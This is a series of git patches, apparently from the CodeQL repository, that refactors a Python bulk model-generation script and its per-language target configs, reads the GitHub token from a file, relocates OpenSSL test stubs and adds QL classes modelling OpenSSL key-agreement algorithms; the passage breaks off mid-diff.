+ +def shouldGenerateSources(project: Project) -> bool: + return project.get("with_sources", False) + +def shouldGenerateSummaries(project: Project) -> bool: + return project.get("with_summaries", False) def clone_project(project: Project) -> str: """ @@ -185,7 +196,7 @@ def build_database( return database_dir -def generate_models(args, project: Project, database_dir: str) -> None: +def generate_models(language: str, config, project: Project, database_dir: str) -> None: """ Generate models for a project. @@ -196,10 +207,11 @@ def generate_models(args, project: Project, database_dir: str) -> None: """ name = project["name"] - generator = mad.Generator(args.lang) - generator.generateSinks = args.with_sinks - generator.generateSources = args.with_sources - generator.generateSummaries = args.with_summaries + generator = mad.Generator(language) + # Note: The argument parser converts with-sinks to with_sinks, etc. + generator.generateSinks = shouldGenerateSinks(project) + generator.generateSources = shouldGenerateSources(project) + generator.generateSummaries = shouldGenerateSummaries(project) generator.setenvironment(database=database_dir, folder=name) generator.run() @@ -309,13 +321,14 @@ def download_dca_databases( pat, ) targets = response["targets"] + project_map = {project["name"]: project for project in projects} for data in targets.values(): downloads = data["downloads"] analyzed_database = downloads["analyzed_database"] artifact_name = analyzed_database["artifact_name"] pretty_name = pretty_name_from_artifact_name(artifact_name) - if not pretty_name in [project["name"] for project in projects]: + if not pretty_name in project_map: print(f"Skipping {pretty_name} as it is not in the list of projects") continue @@ -350,7 +363,7 @@ def download_dca_databases( tar_ref.extractall(artifact_unzipped_location) database_results.append( ( - {"name": pretty_name}, + project_map[pretty_name], os.path.join( artifact_unzipped_location, remove_extension(entry) ), @@ -451,7 +464,7 @@ def main(config, args) -> None: for project, database_dir in database_results: if database_dir is not None: - generate_models(args, project, database_dir) + generate_models(language, config, project, database_dir) if __name__ == "__main__": @@ -474,15 +487,6 @@ def main(config, args) -> None: parser.add_argument( "--lang", type=str, help="The language to generate models for", required=True ) - parser.add_argument( - "--with-sources", action="store_true", help="Generate sources", required=False - ) - parser.add_argument( - "--with-sinks", action="store_true", help="Generate sinks", required=False - ) - parser.add_argument( - "--with-summaries", action="store_true", help="Generate sinks", required=False - ) args = parser.parse_args() # Load config file diff --git a/rust/misc/bulk_generation_targets.json b/rust/misc/bulk_generation_targets.json index ca30b76eb12e..85c28c7f8170 100644 --- a/rust/misc/bulk_generation_targets.json +++ b/rust/misc/bulk_generation_targets.json @@ -4,67 +4,106 @@ { "name": "libc", "git_repo": "https://github.com/rust-lang/libc", - "git_tag": "0.2.172" + "git_tag": "0.2.172", + "with-sources": true, + "with-sinks": true, + "with-summaries": true }, { "name": "log", "git_repo": "https://github.com/rust-lang/log", - "git_tag": "0.4.27" + "git_tag": "0.4.27", + "with-sources": true, + "with-sinks": true, + "with-summaries": true }, { "name": "memchr", "git_repo": "https://github.com/BurntSushi/memchr", - "git_tag": "2.7.4" + "git_tag": "2.7.4", + "with-sources": true, + "with-sinks": true, + "with-summaries": true }, { "name": "once_cell", "git_repo": "https://github.com/matklad/once_cell", - "git_tag": "v1.21.3" + "git_tag": "v1.21.3", + "with-sources": true, + "with-sinks": true, + "with-summaries": true }, { "name": "rand", "git_repo": "https://github.com/rust-random/rand", - "git_tag": "0.9.1" + "git_tag": "0.9.1", + "with-sources": true, + "with-sinks": true, + "with-summaries": true }, { "name": "smallvec", "git_repo": "https://github.com/servo/rust-smallvec", - "git_tag": "v1.15.0" + "git_tag": "v1.15.0", + "with-sources": true, + "with-sinks": true, + "with-summaries": true }, { "name": "serde", "git_repo": "https://github.com/serde-rs/serde", - "git_tag": "v1.0.219" + "git_tag": "v1.0.219", + "with-sources": true, + "with-sinks": true, + "with-summaries": true }, { "name": "tokio", "git_repo": "https://github.com/tokio-rs/tokio", - "git_tag": "tokio-1.45.0" + "git_tag": "tokio-1.45.0", + "with-sources": true, + "with-sinks": true, + "with-summaries": true }, { "name": "reqwest", "git_repo": "https://github.com/seanmonstar/reqwest", - "git_tag": "v0.12.15" + "git_tag": "v0.12.15", + "with-sources": true, + "with-sinks": true, + "with-summaries": true }, { "name": "rocket", "git_repo": "https://github.com/SergioBenitez/Rocket", - "git_tag": "v0.5.1" + "git_tag": "v0.5.1", + "with-sources": true, + "with-sinks": true, + "with-summaries": true }, { "name": "actix-web", "git_repo": "https://github.com/actix/actix-web", - "git_tag": "web-v4.11.0" + "git_tag": "web-v4.11.0", + "with-sources": true, + "with-sinks": true, + "with-summaries": true }, { "name": "hyper", "git_repo": "https://github.com/hyperium/hyper", - "git_tag": "v1.6.0" + "git_tag": "v1.6.0", + "with-sources": true, + "with-sinks": true, + "with-summaries": true }, { "name": "clap", "git_repo": "https://github.com/clap-rs/clap", - "git_tag": "v4.5.38" + "git_tag": "v4.5.38", + "with-sources": true, + "with-sinks": true, + "with-summaries": true } ], "destination": "rust/ql/lib/ext/generated", From 122808091486223251514db6112e121126605d17 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 30 May 2025 12:23:17 +0100 Subject: [PATCH 459/535] Bulk generator: Specify 'language' in the config file. --- cpp/misc/bulk_generation_targets.json | 1 + misc/scripts/models-as-data/bulk_generate_mad.py | 13 +++++++------ rust/misc/bulk_generation_targets.json | 1 + 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/cpp/misc/bulk_generation_targets.json b/cpp/misc/bulk_generation_targets.json index 6cc2223b5e9d..11935335d81a 100644 --- a/cpp/misc/bulk_generation_targets.json +++ b/cpp/misc/bulk_generation_targets.json @@ -1,5 +1,6 @@ { "strategy": "dca", + "language": "cpp", "targets": [ { "name": "openssl", "with_summaries": true }, { "name": "sqlite", "with_summaries": true } diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index bed3442f7904..1ceffe993ce7 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -196,7 +196,7 @@ def build_database( return database_dir -def generate_models(language: str, config, project: Project, database_dir: str) -> None: +def generate_models(config, project: Project, database_dir: str) -> None: """ Generate models for a project. @@ -206,6 +206,7 @@ def generate_models(language: str, config, project: Project, database_dir: str) database_dir: Path to the CodeQL database. """ name = project["name"] + language = config["language"] generator = mad.Generator(language) # Note: The argument parser converts with-sinks to with_sinks, etc. @@ -402,7 +403,10 @@ def main(config, args) -> None: """ projects = config["targets"] - language = args.lang + if not "language" in config: + print("ERROR: 'language' key is missing in the configuration file.") + sys.exit(1) + language = config["language"] # Create build directory if it doesn't exist if not os.path.exists(build_dir): @@ -464,7 +468,7 @@ def main(config, args) -> None: for project, database_dir in database_results: if database_dir is not None: - generate_models(language, config, project, database_dir) + generate_models(config, project, database_dir) if __name__ == "__main__": @@ -484,9 +488,6 @@ def main(config, args) -> None: help="PAT token to grab DCA databases (the same as the one you use for DCA)", required=False, ) - parser.add_argument( - "--lang", type=str, help="The language to generate models for", required=True - ) args = parser.parse_args() # Load config file diff --git a/rust/misc/bulk_generation_targets.json b/rust/misc/bulk_generation_targets.json index 85c28c7f8170..4591042b1401 100644 --- a/rust/misc/bulk_generation_targets.json +++ b/rust/misc/bulk_generation_targets.json @@ -1,5 +1,6 @@ { "strategy": "repo", + "language": "rust", "targets": [ { "name": "libc", From 7c2612a6a10ef208abfdcf78e43f171e034303ae Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 30 May 2025 12:47:07 +0100 Subject: [PATCH 460/535] Bulk generator: Specify a path to the PAT instead of the PAT itself. --- misc/scripts/models-as-data/bulk_generate_mad.py | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index 1ceffe993ce7..fa679594e9d2 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -441,11 +441,18 @@ def main(config, args) -> None: if experiment_name is None: print("ERROR: --dca argument is required for DCA strategy") sys.exit(1) - pat = args.pat - if pat is None: + + if args.pat is None: print("ERROR: --pat argument is required for DCA strategy") sys.exit(1) - database_results = download_dca_databases(experiment_name, pat, projects) + if not os.path.exists(args.pat): + print(f"ERROR: Personal Access Token file '{pat}' does not exist.") + sys.exit(1) + with open(args.pat, "r") as f: + pat = f.read().strip() + database_results = download_dca_databases( + experiment_name, pat, projects + ) # Generate models for all projects print("\n=== Generating models ===") @@ -485,7 +492,7 @@ def main(config, args) -> None: parser.add_argument( "--pat", type=str, - help="PAT token to grab DCA databases (the same as the one you use for DCA)", + help="Path to a file containing the PAT token required to grab DCA databases (the same as the one you use for DCA)", required=False, ) args = parser.parse_args() From 3ddca327056bc21e7db95f9ef8b40cfa00c57c7a Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 30 May 2025 12:48:50 +0100 Subject: [PATCH 461/535] Update misc/scripts/models-as-data/bulk_generate_mad.py Co-authored-by: Simon Friis Vindum --- misc/scripts/models-as-data/bulk_generate_mad.py | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index fa679594e9d2..eea09c6a10c5 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -281,16 +281,15 @@ def download_artifact(url: str, artifact_name: str, pat: str) -> str: headers = {"Authorization": f"token {pat}", "Accept": "application/vnd.github+json"} response = requests.get(url, stream=True, headers=headers) zipName = artifact_name + ".zip" - if response.status_code == 200: - target_zip = os.path.join(build_dir, zipName) - with open(target_zip, "wb") as file: - for chunk in response.iter_content(chunk_size=8192): - file.write(chunk) - print(f"Download complete: {target_zip}") - return target_zip - else: + if response.status_code != 200: print(f"Failed to download file. Status code: {response.status_code}") sys.exit(1) + target_zip = os.path.join(build_dir, zipName) + with open(target_zip, "wb") as file: + for chunk in response.iter_content(chunk_size=8192): + file.write(chunk) + print(f"Download complete: {target_zip}") + return target_zip def remove_extension(filename: str) -> str: From cdd869a970a1348efd3e2992dc4e6d14b5d5f64b Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 30 May 2025 12:49:12 +0100 Subject: [PATCH 462/535] Bulk generator: Autoformat. --- misc/scripts/models-as-data/bulk_generate_mad.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index eea09c6a10c5..3a104861580c 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -45,15 +45,19 @@ class Project(TypedDict): with_sinks: NotRequired[bool] with_summaries: NotRequired[bool] + def shouldGenerateSinks(project: Project) -> bool: return project.get("with_sinks", False) + def shouldGenerateSources(project: Project) -> bool: return project.get("with_sources", False) + def shouldGenerateSummaries(project: Project) -> bool: return project.get("with_summaries", False) + def clone_project(project: Project) -> str: """ Shallow clone a project into the build directory. From bdf411afbc0431d746dab4f756bcafe5f28a3694 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 30 May 2025 13:09:55 +0100 Subject: [PATCH 463/535] Bulk generator: Make 'database_results' a map to simplify away the explicit sorting. --- .../models-as-data/bulk_generate_mad.py | 23 ++++--------------- 1 file changed, 4 insertions(+), 19 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index 3a104861580c..dc15dab26a11 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -318,7 +318,7 @@ def download_dca_databases( Returns: List of (project_name, database_dir) pairs, where database_dir is None if the download failed. """ - database_results = [] + database_results = {} print("\n=== Finding projects ===") response = get_json_from_github( f"https://raw.githubusercontent.com/github/codeql-dca-main/data/{experiment_name}/reports/downloads.json", @@ -365,28 +365,13 @@ def download_dca_databases( with tarfile.open(artifact_tar_location, "r:gz") as tar_ref: # And we just untar it to the same directory as the zip file tar_ref.extractall(artifact_unzipped_location) - database_results.append( - ( - project_map[pretty_name], - os.path.join( - artifact_unzipped_location, remove_extension(entry) - ), - ) + database_results[pretty_name] = os.path.join( + artifact_unzipped_location, remove_extension(entry) ) print(f"\n=== Extracted {len(database_results)} databases ===") - def compare(a, b): - a_index = next( - i for i, project in enumerate(projects) if project["name"] == a[0]["name"] - ) - b_index = next( - i for i, project in enumerate(projects) if project["name"] == b[0]["name"] - ) - return a_index - b_index - - # Sort the database results based on the order in the projects file - return sorted(database_results, key=cmp_to_key(compare)) + return [(project, database_results[project["name"]]) for project in projects] def get_mad_destination_for_project(config, name: str) -> str: From 3444c986ec6f98880f529aa2e438d91920c51bf7 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 30 May 2025 13:25:12 +0100 Subject: [PATCH 464/535] Bulk generator: Fix field name. --- cpp/misc/bulk_generation_targets.json | 4 ++-- misc/scripts/models-as-data/bulk_generate_mad.py | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/cpp/misc/bulk_generation_targets.json b/cpp/misc/bulk_generation_targets.json index 11935335d81a..4a11b1f8c6b1 100644 --- a/cpp/misc/bulk_generation_targets.json +++ b/cpp/misc/bulk_generation_targets.json @@ -2,8 +2,8 @@ "strategy": "dca", "language": "cpp", "targets": [ - { "name": "openssl", "with_summaries": true }, - { "name": "sqlite", "with_summaries": true } + { "name": "openssl", "with-summaries": true }, + { "name": "sqlite", "with-summaries": true } ], "destination": "cpp/ql/lib/ext/generated" } \ No newline at end of file diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index dc15dab26a11..84c2e51c7f49 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -47,15 +47,15 @@ class Project(TypedDict): def shouldGenerateSinks(project: Project) -> bool: - return project.get("with_sinks", False) + return project.get("with-sinks", False) def shouldGenerateSources(project: Project) -> bool: - return project.get("with_sources", False) + return project.get("with-sources", False) def shouldGenerateSummaries(project: Project) -> bool: - return project.get("with_summaries", False) + return project.get("with-summaries", False) def clone_project(project: Project) -> str: From 0f30644afd77c6c5ceef1b38e35d52760a7333a4 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 30 May 2025 13:26:53 +0100 Subject: [PATCH 465/535] Bulk generator: Snake case things. --- misc/scripts/models-as-data/bulk_generate_mad.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index 84c2e51c7f49..61e66ffef12d 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -46,15 +46,15 @@ class Project(TypedDict): with_summaries: NotRequired[bool] -def shouldGenerateSinks(project: Project) -> bool: +def should_generate_sinks(project: Project) -> bool: return project.get("with-sinks", False) -def shouldGenerateSources(project: Project) -> bool: +def should_generate_sources(project: Project) -> bool: return project.get("with-sources", False) -def shouldGenerateSummaries(project: Project) -> bool: +def should_generate_summaries(project: Project) -> bool: return project.get("with-summaries", False) @@ -214,9 +214,9 @@ def generate_models(config, project: Project, database_dir: str) -> None: generator = mad.Generator(language) # Note: The argument parser converts with-sinks to with_sinks, etc. - generator.generateSinks = shouldGenerateSinks(project) - generator.generateSources = shouldGenerateSources(project) - generator.generateSummaries = shouldGenerateSummaries(project) + generator.generateSinks = should_generate_sinks(project) + generator.generateSources = should_generate_sources(project) + generator.generateSummaries = should_generate_summaries(project) generator.setenvironment(database=database_dir, folder=name) generator.run() From 7cb9024cc620a2ecd9b7f41e8a3224e56c0cb8f3 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 30 May 2025 13:33:24 +0100 Subject: [PATCH 466/535] Bulk generator: Flip default values for summaries, sources, and sinks. --- cpp/misc/bulk_generation_targets.json | 4 +- .../models-as-data/bulk_generate_mad.py | 6 +- rust/misc/bulk_generation_targets.json | 65 ++++--------------- 3 files changed, 18 insertions(+), 57 deletions(-) diff --git a/cpp/misc/bulk_generation_targets.json b/cpp/misc/bulk_generation_targets.json index 4a11b1f8c6b1..4cddef005b2f 100644 --- a/cpp/misc/bulk_generation_targets.json +++ b/cpp/misc/bulk_generation_targets.json @@ -2,8 +2,8 @@ "strategy": "dca", "language": "cpp", "targets": [ - { "name": "openssl", "with-summaries": true }, - { "name": "sqlite", "with-summaries": true } + { "name": "openssl", "with-sources": false, "with-sinks": false }, + { "name": "sqlite", "with-sources": false, "with-sinks": false } ], "destination": "cpp/ql/lib/ext/generated" } \ No newline at end of file diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index 61e66ffef12d..22a872dc2bf2 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -47,15 +47,15 @@ class Project(TypedDict): def should_generate_sinks(project: Project) -> bool: - return project.get("with-sinks", False) + return project.get("with-sinks", True) def should_generate_sources(project: Project) -> bool: - return project.get("with-sources", False) + return project.get("with-sources", True) def should_generate_summaries(project: Project) -> bool: - return project.get("with-summaries", False) + return project.get("with-summaries", True) def clone_project(project: Project) -> str: diff --git a/rust/misc/bulk_generation_targets.json b/rust/misc/bulk_generation_targets.json index 4591042b1401..274d5dc5b361 100644 --- a/rust/misc/bulk_generation_targets.json +++ b/rust/misc/bulk_generation_targets.json @@ -5,106 +5,67 @@ { "name": "libc", "git_repo": "https://github.com/rust-lang/libc", - "git_tag": "0.2.172", - "with-sources": true, - "with-sinks": true, - "with-summaries": true + "git_tag": "0.2.172" }, { "name": "log", "git_repo": "https://github.com/rust-lang/log", - "git_tag": "0.4.27", - "with-sources": true, - "with-sinks": true, - "with-summaries": true + "git_tag": "0.4.27" }, { "name": "memchr", "git_repo": "https://github.com/BurntSushi/memchr", - "git_tag": "2.7.4", - "with-sources": true, - "with-sinks": true, - "with-summaries": true + "git_tag": "2.7.4" }, { "name": "once_cell", "git_repo": "https://github.com/matklad/once_cell", - "git_tag": "v1.21.3", - "with-sources": true, - "with-sinks": true, - "with-summaries": true + "git_tag": "v1.21.3" }, { "name": "rand", "git_repo": "https://github.com/rust-random/rand", - "git_tag": "0.9.1", - "with-sources": true, - "with-sinks": true, - "with-summaries": true + "git_tag": "0.9.1" }, { "name": "smallvec", "git_repo": "https://github.com/servo/rust-smallvec", - "git_tag": "v1.15.0", - "with-sources": true, - "with-sinks": true, - "with-summaries": true + "git_tag": "v1.15.0" }, { "name": "serde", "git_repo": "https://github.com/serde-rs/serde", - "git_tag": "v1.0.219", - "with-sources": true, - "with-sinks": true, - "with-summaries": true + "git_tag": "v1.0.219" }, { "name": "tokio", "git_repo": "https://github.com/tokio-rs/tokio", - "git_tag": "tokio-1.45.0", - "with-sources": true, - "with-sinks": true, - "with-summaries": true + "git_tag": "tokio-1.45.0" }, { "name": "reqwest", "git_repo": "https://github.com/seanmonstar/reqwest", - "git_tag": "v0.12.15", - "with-sources": true, - "with-sinks": true, - "with-summaries": true + "git_tag": "v0.12.15" }, { "name": "rocket", "git_repo": "https://github.com/SergioBenitez/Rocket", - "git_tag": "v0.5.1", - "with-sources": true, - "with-sinks": true, - "with-summaries": true + "git_tag": "v0.5.1" }, { "name": "actix-web", "git_repo": "https://github.com/actix/actix-web", - "git_tag": "web-v4.11.0", - "with-sources": true, - "with-sinks": true, - "with-summaries": true + "git_tag": "web-v4.11.0" }, { "name": "hyper", "git_repo": "https://github.com/hyperium/hyper", - "git_tag": "v1.6.0", - "with-sources": true, - "with-sinks": true, - "with-summaries": true + "git_tag": "v1.6.0" }, { "name": "clap", "git_repo": "https://github.com/clap-rs/clap", - "git_tag": "v4.5.38", - "with-sources": true, - "with-sinks": true, - "with-summaries": true + "git_tag": "v4.5.38" } ], "destination": "rust/ql/lib/ext/generated", From 69e3a20e247e2638531fa6a1974f18a5f6b1118a Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Fri, 30 May 2025 09:35:33 -0400 Subject: [PATCH 467/535] Crypto: Update crypto stubs location under 'crypto' and associate codeowners on any `test/stubs/crypto`. Minor fix to HashAlgorithmValueConsumer (remove library detector logic). --- CODEOWNERS | 1 + .../HashAlgorithmValueConsumer.qll | 11 +++-------- .../library-tests/quantum/openssl/options | 2 +- .../test/stubs/{ => crypto}/openssl/alg_macro_stubs.h | 0 cpp/ql/test/stubs/{ => crypto}/openssl/evp_stubs.h | 0 cpp/ql/test/stubs/{ => crypto}/openssl/license.txt | 0 cpp/ql/test/stubs/{ => crypto}/openssl/rand_stubs.h | 0 7 files changed, 5 insertions(+), 9 deletions(-) rename cpp/ql/test/stubs/{ => crypto}/openssl/alg_macro_stubs.h (100%) rename cpp/ql/test/stubs/{ => crypto}/openssl/evp_stubs.h (100%) rename cpp/ql/test/stubs/{ => crypto}/openssl/license.txt (100%) rename cpp/ql/test/stubs/{ => crypto}/openssl/rand_stubs.h (100%) diff --git a/CODEOWNERS b/CODEOWNERS index 7233623d4528..612a5e8a22ac 100644 --- a/CODEOWNERS +++ b/CODEOWNERS @@ -18,6 +18,7 @@ # Experimental CodeQL cryptography **/experimental/**/quantum/ @github/ps-codeql /shared/quantum/ @github/ps-codeql +**/test/stubs/crypto/ @github/ps-codeql # CodeQL tools and associated docs /docs/codeql/codeql-cli/ @github/codeql-cli-reviewers diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll index 52d7949561e8..6c4a9c9bd6cd 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll @@ -3,18 +3,14 @@ private import experimental.quantum.Language private import semmle.code.cpp.dataflow.new.DataFlow private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances -private import experimental.quantum.OpenSSL.LibraryDetector abstract class HashAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { } /** * EVP_Q_Digest directly consumes algorithm constant values */ -class EVP_Q_Digest_Algorithm_Consumer extends OpenSSLAlgorithmValueConsumer { - EVP_Q_Digest_Algorithm_Consumer() { - isPossibleOpenSSLFunction(this.(Call).getTarget()) and - this.(Call).getTarget().getName() = "EVP_Q_digest" - } +class EVP_Q_Digest_Algorithm_Consumer extends HashAlgorithmValueConsumer { + EVP_Q_Digest_Algorithm_Consumer() { this.(Call).getTarget().getName() = "EVP_Q_digest" } override Crypto::ConsumerInputDataFlowNode getInputNode() { result.asExpr() = this.(Call).getArgument(1) @@ -35,13 +31,12 @@ class EVP_Q_Digest_Algorithm_Consumer extends OpenSSLAlgorithmValueConsumer { * The EVP digest algorithm getters * https://docs.openssl.org/3.0/man3/EVP_DigestInit/#synopsis */ -class EVPDigestAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { +class EVPDigestAlgorithmValueConsumer extends HashAlgorithmValueConsumer { DataFlow::Node valueArgNode; DataFlow::Node resultNode; EVPDigestAlgorithmValueConsumer() { resultNode.asExpr() = this and - isPossibleOpenSSLFunction(this.(Call).getTarget()) and ( this.(Call).getTarget().getName() in [ "EVP_get_digestbyname", "EVP_get_digestbynid", "EVP_get_digestbyobj" diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/options b/cpp/ql/test/experimental/library-tests/quantum/openssl/options index 06306a3a46ad..7ea00eb0bfba 100644 --- a/cpp/ql/test/experimental/library-tests/quantum/openssl/options +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/options @@ -1 +1 @@ -semmle-extractor-options: -I ../../../../stubs \ No newline at end of file +semmle-extractor-options: -I ../../../../stubs/crypto \ No newline at end of file diff --git a/cpp/ql/test/stubs/openssl/alg_macro_stubs.h b/cpp/ql/test/stubs/crypto/openssl/alg_macro_stubs.h similarity index 100% rename from cpp/ql/test/stubs/openssl/alg_macro_stubs.h rename to cpp/ql/test/stubs/crypto/openssl/alg_macro_stubs.h diff --git a/cpp/ql/test/stubs/openssl/evp_stubs.h b/cpp/ql/test/stubs/crypto/openssl/evp_stubs.h similarity index 100% rename from cpp/ql/test/stubs/openssl/evp_stubs.h rename to cpp/ql/test/stubs/crypto/openssl/evp_stubs.h diff --git a/cpp/ql/test/stubs/openssl/license.txt b/cpp/ql/test/stubs/crypto/openssl/license.txt similarity index 100% rename from cpp/ql/test/stubs/openssl/license.txt rename to cpp/ql/test/stubs/crypto/openssl/license.txt diff --git a/cpp/ql/test/stubs/openssl/rand_stubs.h b/cpp/ql/test/stubs/crypto/openssl/rand_stubs.h similarity index 100% rename from cpp/ql/test/stubs/openssl/rand_stubs.h rename to cpp/ql/test/stubs/crypto/openssl/rand_stubs.h From cf015d18f116dae4e631ffdda4e9f67daba28ac0 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Fri, 30 May 2025 11:29:34 -0400 Subject: [PATCH 468/535] Crypto: Add openssl key agreement instances and consumers (KEM and KEY_EXCH). Fix for raw algorithm names in all current instances. Update constants to include key agreement algorithms, previously missing. Note added in model for the possibility of ESDH. --- .../BlockAlgorithmInstance.qll | 6 +- .../CipherAlgorithmInstance.qll | 6 +- .../EllipticCurveAlgorithmInstance.qll | 6 +- .../HashAlgorithmInstance.qll | 6 +- .../KeyAgreementAlgorithmInstance.qll | 63 +++++++++++ .../KnownAlgorithmConstants.qll | 103 ++++++++++++++++-- .../PaddingAlgorithmInstance.qll | 6 +- .../KEMAlgorithmValueConsumer.qll | 28 +++++ .../KeyExchangeAlgorithmValueConsumer.qll | 28 +++++ .../codeql/quantum/experimental/Model.qll | 4 +- 10 files changed, 240 insertions(+), 16 deletions(-) create mode 100644 cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KeyAgreementAlgorithmInstance.qll create mode 100644 cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/KEMAlgorithmValueConsumer.qll create mode 100644 cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/KeyExchangeAlgorithmValueConsumer.qll diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll index 1bc7d12e9847..995b72a437ed 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll @@ -71,7 +71,11 @@ class KnownOpenSSLBlockModeConstantAlgorithmInstance extends OpenSSLAlgorithmIns // NOTE: I'm not going to attempt to parse out the mode specific part, so returning // the same as the raw name for now. - override string getRawModeAlgorithmName() { result = this.(Literal).getValue().toString() } + override string getRawModeAlgorithmName() { + result = this.(Literal).getValue().toString() + or + result = this.(Call).getTarget().getName() + } override OpenSSLAlgorithmValueConsumer getAVC() { result = getterCall } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll index a6415df31c6f..77251761040d 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll @@ -102,7 +102,11 @@ class KnownOpenSSLCipherConstantAlgorithmInstance extends OpenSSLAlgorithmInstan // TODO or trace through getter ctx to set padding } - override string getRawAlgorithmName() { result = this.(Literal).getValue().toString() } + override string getRawAlgorithmName() { + result = this.(Literal).getValue().toString() + or + result = this.(Call).getTarget().getName() + } override int getKeySizeFixed() { this.(KnownOpenSSLCipherAlgorithmConstant).getExplicitKeySize() = result diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll index 574869ca29cd..bebca15d4773 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll @@ -32,7 +32,11 @@ class KnownOpenSSLEllipticCurveConstantAlgorithmInstance extends OpenSSLAlgorith override OpenSSLAlgorithmValueConsumer getAVC() { result = getterCall } - override string getRawEllipticCurveName() { result = this.(Literal).getValue().toString() } + override string getRawEllipticCurveName() { + result = this.(Literal).getValue().toString() + or + result = this.(Call).getTarget().getName() + } override Crypto::TEllipticCurveType getEllipticCurveType() { Crypto::ellipticCurveNameToKeySizeAndFamilyMapping(this.getParsedEllipticCurveName(), _, result) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/HashAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/HashAlgorithmInstance.qll index 6cd9faab7df4..ca1882f3b6e3 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/HashAlgorithmInstance.qll +++ 